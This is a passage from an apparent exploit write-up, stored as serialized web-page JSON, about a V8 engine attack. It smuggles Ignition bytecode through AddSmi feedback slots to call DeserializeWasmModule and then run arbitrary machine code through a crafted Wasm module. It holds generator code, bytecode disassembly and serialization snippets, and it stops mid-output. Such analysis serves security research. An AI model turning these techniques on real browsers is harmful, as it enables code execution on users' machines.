",{"type":22,"tag":80,"props":136445,"children":136448},{"href":136446,"rel":136447},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[84],[136449],{"type":27,"value":136450},"JIT-compiled functions",{"type":27,"value":3415},{"type":22,"tag":30,"props":136453,"children":136455},{"className":136454},[],[136456],{"type":27,"value":136437},{"type":27,"value":8625},{"type":22,"tag":30,"props":136459,"children":136461},{"className":136460},[],[136462],{"type":27,"value":136463},"SerializeWasmModule",{"type":27,"value":136465}," themselves are only used from test functions, and indeed have been ",{"type":22,"tag":80,"props":136467,"children":136470},{"href":136468,"rel":136469},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[84],[136471],{"type":27,"value":136472},"removed",{"type":27,"value":136474}," from recent production V8 builds due to how abusable this functionality is.",{"type":22,"tag":23,"props":136476,"children":136477},{},[136478,136480,136486,136488,136494,136496,136501,136503,136509,136511,136516,136517,136522,136523,136528,136530,136536,136538,136542],{"type":27,"value":136479},"However, calling this opcode represented a significant challenge:\n",{"type":22,"tag":30,"props":136481,"children":136483},{"className":136482},[],[136484],{"type":27,"value":136485},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":27,"value":136487},"\nWhere ",{"type":22,"tag":30,"props":136489,"children":136491},{"className":136490},[],[136492],{"type":27,"value":136493},"func-id",{"type":27,"value":136495}," is a 2-byte function ID, ",{"type":22,"tag":30,"props":136497,"children":136499},{"className":136498},[],[136500],{"type":27,"value":42224},{"type":27,"value":136502}," is the index of the last register passed and ",{"type":22,"tag":30,"props":136504,"children":136506},{"className":136505},[],[136507],{"type":27,"value":136508},"argc",{"type":27,"value":136510}," is the number of arguments passed (e.g. passing ",{"type":22,"tag":30,"props":136512,"children":136514},{"className":136513},[],[136515],{"type":27,"value":48377},{"type":27,"value":758},{"type":22,"tag":30,"props":136518,"children":136520},{"className":136519},[],[136521],{"type":27,"value":48520},{"type":27,"value":209},{"type":22,"tag":30,"props":136524,"children":136526},{"className":136525},[],[136527],{"type":27,"value":48503},{"type":27,"value":136529}," would be encoded as ",{"type":22,"tag":30,"props":136531,"children":136533},{"className":136532},[],[136534],{"type":27,"value":136535},"\u003Cr2> \u003C3>",{"type":27,"value":136537},").\nThis requires ",{"type":22,"tag":6961,"props":136539,"children":136540},{},[136541],{"type":27,"value":22107},{"type":27,"value":136543}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":22,"tag":1760,"props":136545,"children":136547},{"id":136546},"better-bytecode-control",[136548],{"type":27,"value":136549},"Better Bytecode Control",{"type":22,"tag":23,"props":136551,"children":136552},{},[136553,136555,136562,136564,136570],{"type":27,"value":136554},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":22,"tag":80,"props":136556,"children":136559},{"href":136557,"rel":136558},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[84],[136560],{"type":27,"value":136561},"feedback vector slot",{"type":27,"value":136563},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":22,"tag":30,"props":136565,"children":136567},{"className":136566},[],[136568],{"type":27,"value":136569},"AddSmi",{"type":27,"value":136571}," instruction, it represents the number of operations performed on the target value so far.",{"type":22,"tag":23,"props":136573,"children":136574},{},[136575],{"type":27,"value":136576},"For example, we can look at the below Ignition disassembly:",{"type":22,"tag":91,"props":136578,"children":136580},{"code":136579},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[136581],{"type":22,"tag":30,"props":136582,"children":136583},{"__ignoreMap":7},[136584],{"type":27,"value":136579},{"type":22,"tag":23,"props":136586,"children":136587},{},[136588,136590,136596],{"type":27,"value":136589},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":22,"tag":30,"props":136591,"children":136593},{"className":136592},[],[136594],{"type":27,"value":136595},"AddSmi.ExtraWide",{"type":27,"value":136597},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":22,"tag":23,"props":136599,"children":136600},{},[136601],{"type":27,"value":136602},"Eventually, we can reach a stage like this:",{"type":22,"tag":91,"props":136604,"children":136606},{"code":136605},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[136607],{"type":22,"tag":30,"props":136608,"children":136609},{"__ignoreMap":7},[136610],{"type":27,"value":136605},{"type":22,"tag":23,"props":136612,"children":136613},{},[136614],{"type":27,"value":136615},"If you skip the first two bytes, you have",{"type":22,"tag":6839,"props":136617,"children":136618},{},[136619,136650],{"type":22,"tag":6832,"props":136620,"children":136621},{},[136622,136627,136629,136634,136636,136642,136644],{"type":22,"tag":30,"props":136623,"children":136625},{"className":136624},[],[136626],{"type":27,"value":136421},{"type":27,"value":136628}," (0x6c) to ",{"type":22,"tag":30,"props":136630,"children":136632},{"className":136631},[],[136633],{"type":27,"value":136437},{"type":27,"value":136635}," (0x0266) starting from register ",{"type":22,"tag":30,"props":136637,"children":136639},{"className":136638},[],[136640],{"type":27,"value":136641},"a2",{"type":27,"value":136643}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":22,"tag":30,"props":136645,"children":136647},{"className":136646},[],[136648],{"type":27,"value":136649},"DeserializeWasmModule(a2, a1)",{"type":22,"tag":6832,"props":136651,"children":136652},{},[136653],{"type":27,"value":136654},"a Jump instruction",{"type":22,"tag":1760,"props":136656,"children":136658},{"id":136657},"returning-back-to-js",[136659],{"type":27,"value":136660},"Returning Back to JS",{"type":22,"tag":23,"props":136662,"children":136663},{},[136664,136666,136672],{"type":27,"value":136665},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":22,"tag":30,"props":136667,"children":136669},{"className":136668},[],[136670],{"type":27,"value":136671},"yield",{"type":27,"value":136673}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":22,"tag":23,"props":136675,"children":136676},{},[136677],{"type":27,"value":136678},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":22,"tag":91,"props":136680,"children":136682},{"code":136681,"language":35361,"meta":7,"className":35359,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[136683],{"type":22,"tag":30,"props":136684,"children":136685},{"__ignoreMap":7},[136686,136697,136745,136766,136782,136805,136833,136850],{"type":22,"tag":101,"props":136687,"children":136688},{"class":103,"line":104},[136689,136693],{"type":22,"tag":101,"props":136690,"children":136691},{"style":3595},[136692],{"type":27,"value":52328},{"type":22,"tag":101,"props":136694,"children":136695},{"style":120},[136696],{"type":27,"value":154},{"type":22,"tag":101,"props":136698,"children":136699},{"class":103,"line":157},[136700,136705,136709,136714,136718,136723,136727,136732,136736,136740],{"type":22,"tag":101,"props":136701,"children":136702},{"style":126},[136703],{"type":27,"value":136704}," $",{"type":22,"tag":101,"props":136706,"children":136707},{"style":120},[136708],{"type":27,"value":80125},{"type":22,"tag":101,"props":136710,"children":136711},{"style":6476},[136712],{"type":27,"value":136713},"'a1 + 0xa931111;'",{"type":22,"tag":101,"props":136715,"children":136716},{"style":120},[136717],{"type":27,"value":231},{"type":22,"tag":101,"props":136719,"children":136720},{"style":926},[136721],{"type":27,"value":136722},"repeat",{"type":22,"tag":101,"props":136724,"children":136725},{"style":120},[136726],{"type":27,"value":980},{"type":22,"tag":101,"props":136728,"children":136729},{"style":1544},[136730],{"type":27,"value":136731},"0x059302",{"type":22,"tag":101,"props":136733,"children":136734},{"style":166},[136735],{"type":27,"value":55251},{"type":22,"tag":101,"props":136737,"children":136738},{"style":1544},[136739],{"type":27,"value":3648},{"type":22,"tag":101,"props":136741,"children":136742},{"style":120},[136743],{"type":27,"value":136744},")}\n",{"type":22,"tag":101,"props":136746,"children":136747},{"class":103,"line":182},[136748,136753,136757,136762],{"type":22,"tag":101,"props":136749,"children":136750},{"style":126},[136751],{"type":27,"value":136752}," a1",{"type":22,"tag":101,"props":136754,"children":136755},{"style":166},[136756],{"type":27,"value":3643},{"type":22,"tag":101,"props":136758,"children":136759},{"style":1544},[136760],{"type":27,"value":136761}," 0x0402666c",{"type":22,"tag":101,"props":136763,"children":136764},{"style":120},[136765],{"type":27,"value":1520},{"type":22,"tag":101,"props":136767,"children":136768},{"class":103,"line":367},[136769,136773,136778],{"type":22,"tag":101,"props":136770,"children":136771},{"style":3595},[136772],{"type":27,"value":39198},{"type":22,"tag":101,"props":136774,"children":136775},{"style":1544},[136776],{"type":27,"value":136777}," 0x393e91a",{"type":22,"tag":101,"props":136779,"children":136780},{"style":120},[136781],{"type":27,"value":1520},{"type":22,"tag":101,"props":136783,"children":136784},{"class":103,"line":398},[136785,136789,136793,136797,136801],{"type":22,"tag":101,"props":136786,"children":136787},{"style":120},[136788],{"type":27,"value":50870},{"type":22,"tag":101,"props":136790,"children":136791},{"style":3595},[136792],{"type":27,"value":52408},{"type":22,"tag":101,"props":136794,"children":136795},{"style":120},[136796],{"type":27,"value":3603},{"type":22,"tag":101,"props":136798,"children":136799},{"style":126},[136800],{"type":27,"value":55450},{"type":22,"tag":101,"props":136802,"children":136803},{"style":120},[136804],{"type":27,"value":1463},{"type":22,"tag":101,"props":136806,"children":136807},{"class":103,"line":428},[136808,136812,136816,136820,136824,136829],{"type":22,"tag":101,"props":136809,"children":136810},{"style":126},[136811],{"type":27,"value":105451},{"type":22,"tag":101,"props":136813,"children":136814},{"style":120},[136815],{"type":27,"value":231},{"type":22,"tag":101,"props":136817,"children":136818},{"style":926},[136819],{"type":27,"value":105460},{"type":22,"tag":101,"props":136821,"children":136822},{"style":120},[136823],{"type":27,"value":980},{"type":22,"tag":101,"props":136825,"children":136826},{"style":6476},[136827],{"type":27,"value":136828},"\"foo\"",{"type":22,"tag":101,"props":136830,"children":136831},{"style":120},[136832],{"type":27,"value":994},{"type":22,"tag":101,"props":136834,"children":136835},{"class":103,"line":997},[136836,136841,136846],{"type":22,"tag":101,"props":136837,"children":136838},{"style":3595},[136839],{"type":27,"value":136840}," yield",{"type":22,"tag":101,"props":136842,"children":136843},{"style":126},[136844],{"type":27,"value":136845}," a16",{"type":22,"tag":101,"props":136847,"children":136848},{"style":120},[136849],{"type":27,"value":1520},{"type":22,"tag":101,"props":136851,"children":136852},{"class":103,"line":1032},[136853],{"type":22,"tag":101,"props":136854,"children":136855},{"style":120},[136856],{"type":27,"value":188},{"type":22,"tag":23,"props":136858,"children":136859},{},[136860,136862],{"type":27,"value":136861},"Starting from the final ",{"type":22,"tag":30,"props":136863,"children":136865},{"className":136864},[],[136866],{"type":27,"value":136569},{"type":22,"tag":91,"props":136868,"children":136870},{"code":136869}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[136871],{"type":22,"tag":30,"props":136872,"children":136873},{"__ignoreMap":7},[136874],{"type":27,"value":136869},{"type":22,"tag":23,"props":136876,"children":136877},{},[136878,136880,136885,136887,136893],{"type":27,"value":136879},"The smuggled jump in ",{"type":22,"tag":30,"props":136881,"children":136883},{"className":136882},[],[136884],{"type":27,"value":136569},{"type":27,"value":136886}," will redirect us to ",{"type":22,"tag":30,"props":136888,"children":136890},{"className":136889},[],[136891],{"type":27,"value":136892},"1a e9 93 03",{"type":27,"value":136894},", which results in:",{"type":22,"tag":6839,"props":136896,"children":136897},{},[136898,136909],{"type":22,"tag":6832,"props":136899,"children":136900},{},[136901,136907],{"type":22,"tag":30,"props":136902,"children":136904},{"className":136903},[],[136905],{"type":27,"value":136906},"Star r16",{"type":27,"value":136908}," (store accumulator to r16)",{"type":22,"tag":6832,"props":136910,"children":136911},{},[136912,136917],{"type":22,"tag":30,"props":136913,"children":136915},{"className":136914},[],[136916],{"type":27,"value":136339},{"type":27,"value":136918}," past the throw into the catch relevant code",{"type":22,"tag":23,"props":136920,"children":136921},{},[136922,136924,136930],{"type":27,"value":136923},"This will bring us nicely to the final ",{"type":22,"tag":30,"props":136925,"children":136927},{"className":136926},[],[136928],{"type":27,"value":136929},"yield a16",{"type":27,"value":136931},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":22,"tag":1760,"props":136933,"children":136935},{"id":136934},"executing-shellcode",[136936],{"type":27,"value":136937},"Executing Shellcode",{"type":22,"tag":23,"props":136939,"children":136940},{},[136941],{"type":27,"value":136942},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":22,"tag":91,"props":136944,"children":136946},{"code":136945,"language":39612,"meta":7,"className":39610,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[136947],{"type":22,"tag":30,"props":136948,"children":136949},{"__ignoreMap":7},[136950,136980,137207,137275,137282,137327,137373,137413,137420,137444,137481,137517],{"type":22,"tag":101,"props":136951,"children":136952},{"class":103,"line":104},[136953,136957,136962,136966,136970,136975],{"type":22,"tag":101,"props":136954,"children":136955},{"style":108},[136956],{"type":27,"value":39043},{"type":22,"tag":101,"props":136958,"children":136959},{"style":126},[136960],{"type":27,"value":136961}," wasm_code",{"type":22,"tag":101,"props":136963,"children":136964},{"style":166},[136965],{"type":27,"value":960},{"type":22,"tag":101,"props":136967,"children":136968},{"style":108},[136969],{"type":27,"value":35929},{"type":22,"tag":101,"props":136971,"children":136972},{"style":926},[136973],{"type":27,"value":136974}," Uint8Array",{"type":22,"tag":101,"props":136976,"children":136977},{"style":120},[136978],{"type":27,"value":136979},"([\n",{"type":22,"tag":101,"props":136981,"children":136982},{"class":103,"line":157},[136983,136988,136992,136997,137001,137006,137010,137015,137019,137023,137027,137031,137035,137039,137043,137047,137051,137055,137059,137063,137067,137071,137075,137080,137084,137088,137092,137096,137100,137104,137108,137112,137116,137120,137124,137128,137132,137136,137140,137144,137148,137152,137156,137160,137164,137168,137172,137177,137181,137186,137190,137195,137199,137203],{"type":22,"tag":101,"props":136984,"children":136985},{"style":1544},[136986],{"type":27,"value":136987}," 0",{"type":22,"tag":101,"props":136989,"children":136990},{"style":120},[136991],{"type":27,"value":758},{"type":22,"tag":101,"props":136993,"children":136994},{"style":1544},[136995],{"type":27,"value":136996},"97",{"type":22,"tag":101,"props":136998,"children":136999},{"style":120},[137000],{"type":27,"value":758},{"type":22,"tag":101,"props":137002,"children":137003},{"style":1544},[137004],{"type":27,"value":137005},"115",{"type":22,"tag":101,"props":137007,"children":137008},{"style":120},[137009],{"type":27,"value":758},{"type":22,"tag":101,"props":137011,"children":137012},{"style":1544},[137013],{"type":27,"value":137014},"109",{"type":22,"tag":101,"props":137016,"children":137017},{"style":120},[137018],{"type":27,"value":758},{"type":22,"tag":101,"props":137020,"children":137021},{"style":1544},[137022],{"type":27,"value":6813},{"type":22,"tag":101,"props":137024,"children":137025},{"style":120},[137026],{"type":27,"value":758},{"type":22,"tag":101,"props":137028,"children":137029},{"style":1544},[137030],{"type":27,"value":8065},{"type":22,"tag":101,"props":137032,"children":137033},{"style":120},[137034],{"type":27,"value":758},{"type":22,"tag":101,"props":137036,"children":137037},{"style":1544},[137038],{"type":27,"value":8065},{"type":22,"tag":101,"props":137040,"children":137041},{"style":120},[137042],{"type":27,"value":758},{"type":22,"tag":101,"props":137044,"children":137045},{"style":1544},[137046],{"type":27,"value":8065},{"type":22,"tag":101,"props":137048,"children":137049},{"style":120},[137050],{"type":27,"value":758},{"type":22,"tag":101,"props":137052,"children":137053},{"style":1544},[137054],{"type":27,"value":6813},{"type":22,"tag":101,"props":137056,"children":137057},{"style":120},[137058],{"type":27,"value":758},{"type":22,"tag":101,"props":137060,"children":137061},{"style":1544},[137062],{"type":27,"value":21526},{"type":22,"tag":101,"props":137064,"children":137065},{"style":120},[137066],{"type":27,"value":758},{"type":22,"tag":101,"props":137068,"children":137069},{"style":1544},[137070],{"type":27,"value":6813},{"type":22,"tag":101,"props":137072,"children":137073},{"style":120},[137074],{"type":27,"value":758},{"type":22,"tag":101,"props":137076,"children":137077},{"style":1544},[137078],{"type":27,"value":137079},"96",{"type":22,"tag":101,"props":137081,"children":137082},{"style":120},[137083],{"type":27,"value":758},{"type":22,"tag":101,"props":137085,"children":137086},{"style":1544},[137087],{"type":27,"value":8065},{"type":22,"tag":101,"props":137089,"children":137090},{"style":120},[137091],{"type":27,"value":758},{"type":22,"tag":101,"props":137093,"children":137094},{"style":1544},[137095],{"type":27,"value":8065},{"type":22,"tag":101,"props":137097,"children":137098},{"style":120},[137099],{"type":27,"value":758},{"type":22,"tag":101,"props":137101,"children":137102},{"style":1544},[137103],{"type":27,"value":21293},{"type":22,"tag":101,"props":137105,"children":137106},{"style":120},[137107],{"type":27,"value":758},{"type":22,"tag":101,"props":137109,"children":137110},{"style":1544},[137111],{"type":27,"value":7164},{"type":22,"tag":101,"props":137113,"children":137114},{"style":120},[137115],{"type":27,"value":758},{"type":22,"tag":101,"props":137117,"children":137118},{"style":1544},[137119],{"type":27,"value":6813},{"type":22,"tag":101,"props":137121,"children":137122},{"style":120},[137123],{"type":27,"value":758},{"type":22,"tag":101,"props":137125,"children":137126},{"style":1544},[137127],{"type":27,"value":8065},{"type":22,"tag":101,"props":137129,"children":137130},{"style":120},[137131],{"type":27,"value":758},{"type":22,"tag":101,"props":137133,"children":137134},{"style":1544},[137135],{"type":27,"value":58667},{"type":22,"tag":101,"props":137137,"children":137138},{"style":120},[137139],{"type":27,"value":758},{"type":22,"tag":101,"props":137141,"children":137142},{"style":1544},[137143],{"type":27,"value":59882},{"type":22,"tag":101,"props":137145,"children":137146},{"style":120},[137147],{"type":27,"value":758},{"type":22,"tag":101,"props":137149,"children":137150},{"style":1544},[137151],{"type":27,"value":6813},{"type":22,"tag":101,"props":137153,"children":137154},{"style":120},[137155],{"type":27,"value":758},{"type":22,"tag":101,"props":137157,"children":137158},{"style":1544},[137159],{"type":27,"value":22107},{"type":22,"tag":101,"props":137161,"children":137162},{"style":120},[137163],{"type":27,"value":758},{"type":22,"tag":101,"props":137165,"children":137166},{"style":1544},[137167],{"type":27,"value":137005},{"type":22,"tag":101,"props":137169,"children":137170},{"style":120},[137171],{"type":27,"value":758},{"type":22,"tag":101,"props":137173,"children":137174},{"style":1544},[137175],{"type":27,"value":137176},"104",{"type":22,"tag":101,"props":137178,"children":137179},{"style":120},[137180],{"type":27,"value":758},{"type":22,"tag":101,"props":137182,"children":137183},{"style":1544},[137184],{"type":27,"value":137185},"101",{"type":22,"tag":101,"props":137187,"children":137188},{"style":120},[137189],{"type":27,"value":758},{"type":22,"tag":101,"props":137191,"children":137192},{"style":1544},[137193],{"type":27,"value":137194},"108",{"type":22,"tag":101,"props":137196,"children":137197},{"style":120},[137198],{"type":27,"value":758},{"type":22,"tag":101,"props":137200,"children":137201},{"style":1544},[137202],{"type":27,"value":137194},{"type":22,"tag":101,"props":137204,"children":137205},{"style":120},[137206],{"type":27,"value":179},{"type":22,"tag":101,"props":137208,"children":137209},{"class":103,"line":182},[137210,137214,137218,137222,137226,137230,137234,137238,137242,137246,137250,137254,137258,137262,137266,137271],{"type":22,"tag":101,"props":137211,"children":137212},{"style":1544},[137213],{"type":27,"value":136987},{"type":22,"tag":101,"props":137215,"children":137216},{"style":120},[137217],{"type":27,"value":758},{"type":22,"tag":101,"props":137219,"children":137220},{"style":1544},[137221],{"type":27,"value":8065},{"type":22,"tag":101,"props":137223,"children":137224},{"style":120},[137225],{"type":27,"value":758},{"type":22,"tag":101,"props":137227,"children":137228},{"style":1544},[137229],{"type":27,"value":92760},{"type":22,"tag":101,"props":137231,"children":137232},{"style":120},[137233],{"type":27,"value":758},{"type":22,"tag":101,"props":137235,"children":137236},{"style":1544},[137237],{"type":27,"value":21526},{"type":22,"tag":101,"props":137239,"children":137240},{"style":120},[137241],{"type":27,"value":758},{"type":22,"tag":101,"props":137243,"children":137244},{"style":1544},[137245],{"type":27,"value":6813},{"type":22,"tag":101,"props":137247,"children":137248},{"style":120},[137249],{"type":27,"value":758},{"type":22,"tag":101,"props":137251,"children":137252},{"style":1544},[137253],{"type":27,"value":7164},{"type":22,"tag":101,"props":137255,"children":137256},{"style":120},[137257],{"type":27,"value":758},{"type":22,"tag":101,"props":137259,"children":137260},{"style":1544},[137261],{"type":27,"value":8065},{"type":22,"tag":101,"props":137263,"children":137264},{"style":120},[137265],{"type":27,"value":758},{"type":22,"tag":101,"props":137267,"children":137268},{"style":1544},[137269],{"type":27,"value":137270},"11",{"type":22,"tag":101,"props":137272,"children":137273},{"style":120},[137274],{"type":27,"value":179},{"type":22,"tag":101,"props":137276,"children":137277},{"class":103,"line":367},[137278],{"type":22,"tag":101,"props":137279,"children":137280},{"style":120},[137281],{"type":27,"value":7788},{"type":22,"tag":101,"props":137283,"children":137284},{"class":103,"line":398},[137285,137289,137293,137297,137301,137306,137310,137314,137318,137323],{"type":22,"tag":101,"props":137286,"children":137287},{"style":108},[137288],{"type":27,"value":39043},{"type":22,"tag":101,"props":137290,"children":137291},{"style":126},[137292],{"type":27,"value":75129},{"type":22,"tag":101,"props":137294,"children":137295},{"style":166},[137296],{"type":27,"value":960},{"type":22,"tag":101,"props":137298,"children":137299},{"style":108},[137300],{"type":27,"value":35929},{"type":22,"tag":101,"props":137302,"children":137303},{"style":126},[137304],{"type":27,"value":137305}," WebAssembly",{"type":22,"tag":101,"props":137307,"children":137308},{"style":120},[137309],{"type":27,"value":231},{"type":22,"tag":101,"props":137311,"children":137312},{"style":926},[137313],{"type":27,"value":89426},{"type":22,"tag":101,"props":137315,"children":137316},{"style":120},[137317],{"type":27,"value":980},{"type":22,"tag":101,"props":137319,"children":137320},{"style":126},[137321],{"type":27,"value":137322},"wasm_code",{"type":22,"tag":101,"props":137324,"children":137325},{"style":120},[137326],{"type":27,"value":994},{"type":22,"tag":101,"props":137328,"children":137329},{"class":103,"line":428},[137330,137334,137339,137343,137347,137351,137355,137360,137364,137369],{"type":22,"tag":101,"props":137331,"children":137332},{"style":108},[137333],{"type":27,"value":39043},{"type":22,"tag":101,"props":137335,"children":137336},{"style":126},[137337],{"type":27,"value":137338}," inst",{"type":22,"tag":101,"props":137340,"children":137341},{"style":166},[137342],{"type":27,"value":960},{"type":22,"tag":101,"props":137344,"children":137345},{"style":108},[137346],{"type":27,"value":35929},{"type":22,"tag":101,"props":137348,"children":137349},{"style":126},[137350],{"type":27,"value":137305},{"type":22,"tag":101,"props":137352,"children":137353},{"style":120},[137354],{"type":27,"value":231},{"type":22,"tag":101,"props":137356,"children":137357},{"style":926},[137358],{"type":27,"value":137359},"Instance",{"type":22,"tag":101,"props":137361,"children":137362},{"style":120},[137363],{"type":27,"value":980},{"type":22,"tag":101,"props":137365,"children":137366},{"style":126},[137367],{"type":27,"value":137368},"mod",{"type":22,"tag":101,"props":137370,"children":137371},{"style":120},[137372],{"type":27,"value":994},{"type":22,"tag":101,"props":137374,"children":137375},{"class":103,"line":997},[137376,137380,137384,137388,137392,137396,137400,137404,137409],{"type":22,"tag":101,"props":137377,"children":137378},{"style":108},[137379],{"type":27,"value":39043},{"type":22,"tag":101,"props":137381,"children":137382},{"style":126},[137383],{"type":27,"value":83516},{"type":22,"tag":101,"props":137385,"children":137386},{"style":166},[137387],{"type":27,"value":960},{"type":22,"tag":101,"props":137389,"children":137390},{"style":126},[137391],{"type":27,"value":137338},{"type":22,"tag":101,"props":137393,"children":137394},{"style":120},[137395],{"type":27,"value":231},{"type":22,"tag":101,"props":137397,"children":137398},{"style":126},[137399],{"type":27,"value":41882},{"type":22,"tag":101,"props":137401,"children":137402},{"style":120},[137403],{"type":27,"value":231},{"type":22,"tag":101,"props":137405,"children":137406},{"style":126},[137407],{"type":27,"value":137408},"shell",{"type":22,"tag":101,"props":137410,"children":137411},{"style":120},[137412],{"type":27,"value":1520},{"type":22,"tag":101,"props":137414,"children":137415},{"class":103,"line":1032},[137416],{"type":22,"tag":101,"props":137417,"children":137418},{"emptyLinePlaceholder":15},[137419],{"type":27,"value":1581},{"type":22,"tag":101,"props":137421,"children":137422},{"class":103,"line":1063},[137423,137427,137432,137436,137440],{"type":22,"tag":101,"props":137424,"children":137425},{"style":166},[137426],{"type":27,"value":60385},{"type":22,"tag":101,"props":137428,"children":137429},{"style":926},[137430],{"type":27,"value":137431},"WasmTierUpFunction",{"type":22,"tag":101,"props":137433,"children":137434},{"style":120},[137435],{"type":27,"value":980},{"type":22,"tag":101,"props":137437,"children":137438},{"style":126},[137439],{"type":27,"value":79807},{"type":22,"tag":101,"props":137441,"children":137442},{"style":120},[137443],{"type":27,"value":994},{"type":22,"tag":101,"props":137445,"children":137446},{"class":103,"line":1071},[137447,137451,137456,137460,137465,137469,137473,137477],{"type":22,"tag":101,"props":137448,"children":137449},{"style":108},[137450],{"type":27,"value":39043},{"type":22,"tag":101,"props":137452,"children":137453},{"style":126},[137454],{"type":27,"value":137455}," serialized",{"type":22,"tag":101,"props":137457,"children":137458},{"style":166},[137459],{"type":27,"value":960},{"type":22,"tag":101,"props":137461,"children":137462},{"style":166},[137463],{"type":27,"value":137464}," %",{"type":22,"tag":101,"props":137466,"children":137467},{"style":926},[137468],{"type":27,"value":136463},{"type":22,"tag":101,"props":137470,"children":137471},{"style":120},[137472],{"type":27,"value":980},{"type":22,"tag":101,"props":137474,"children":137475},{"style":126},[137476],{"type":27,"value":137368},{"type":22,"tag":101,"props":137478,"children":137479},{"style":120},[137480],{"type":27,"value":994},{"type":22,"tag":101,"props":137482,"children":137483},{"class":103,"line":1110},[137484,137488,137492,137496,137500,137504,137508,137513],{"type":22,"tag":101,"props":137485,"children":137486},{"style":108},[137487],{"type":27,"value":15792},{"type":22,"tag":101,"props":137489,"children":137490},{"style":126},[137491],{"type":27,"value":13168},{"type":22,"tag":101,"props":137493,"children":137494},{"style":166},[137495],{"type":27,"value":960},{"type":22,"tag":101,"props":137497,"children":137498},{"style":108},[137499],{"type":27,"value":35929},{"type":22,"tag":101,"props":137501,"children":137502},{"style":926},[137503],{"type":27,"value":136974},{"type":22,"tag":101,"props":137505,"children":137506},{"style":120},[137507],{"type":27,"value":980},{"type":22,"tag":101,"props":137509,"children":137510},{"style":126},[137511],{"type":27,"value":137512},"serialized",{"type":22,"tag":101,"props":137514,"children":137515},{"style":120},[137516],{"type":27,"value":994},{"type":22,"tag":101,"props":137518,"children":137519},{"class":103,"line":1118},[137520,137525,137529,137533,137537,137542,137546,137550,137554,137559,137563,137568,137572,137576,137581],{"type":22,"tag":101,"props":137521,"children":137522},{"style":126},[137523],{"type":27,"value":137524},"console",{"type":22,"tag":101,"props":137526,"children":137527},{"style":120},[137528],{"type":27,"value":231},{"type":22,"tag":101,"props":137530,"children":137531},{"style":926},[137532],{"type":27,"value":105460},{"type":22,"tag":101,"props":137534,"children":137535},{"style":120},[137536],{"type":27,"value":980},{"type":22,"tag":101,"props":137538,"children":137539},{"style":6476},[137540],{"type":27,"value":137541},"'['",{"type":22,"tag":101,"props":137543,"children":137544},{"style":166},[137545],{"type":27,"value":3643},{"type":22,"tag":101,"props":137547,"children":137548},{"style":126},[137549],{"type":27,"value":13168},{"type":22,"tag":101,"props":137551,"children":137552},{"style":120},[137553],{"type":27,"value":231},{"type":22,"tag":101,"props":137555,"children":137556},{"style":926},[137557],{"type":27,"value":137558},"join",{"type":22,"tag":101,"props":137560,"children":137561},{"style":120},[137562],{"type":27,"value":980},{"type":22,"tag":101,"props":137564,"children":137565},{"style":6476},[137566],{"type":27,"value":137567},"', '",{"type":22,"tag":101,"props":137569,"children":137570},{"style":120},[137571],{"type":27,"value":901},{"type":22,"tag":101,"props":137573,"children":137574},{"style":166},[137575],{"type":27,"value":8426},{"type":22,"tag":101,"props":137577,"children":137578},{"style":6476},[137579],{"type":27,"value":137580}," ']'",{"type":22,"tag":101,"props":137582,"children":137583},{"style":120},[137584],{"type":27,"value":994},{"type":22,"tag":23,"props":137586,"children":137587},{},[137588],{"type":27,"value":137589},"This produces the following output:",{"type":22,"tag":91,"props":137591,"children":137593},{"code":137592},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 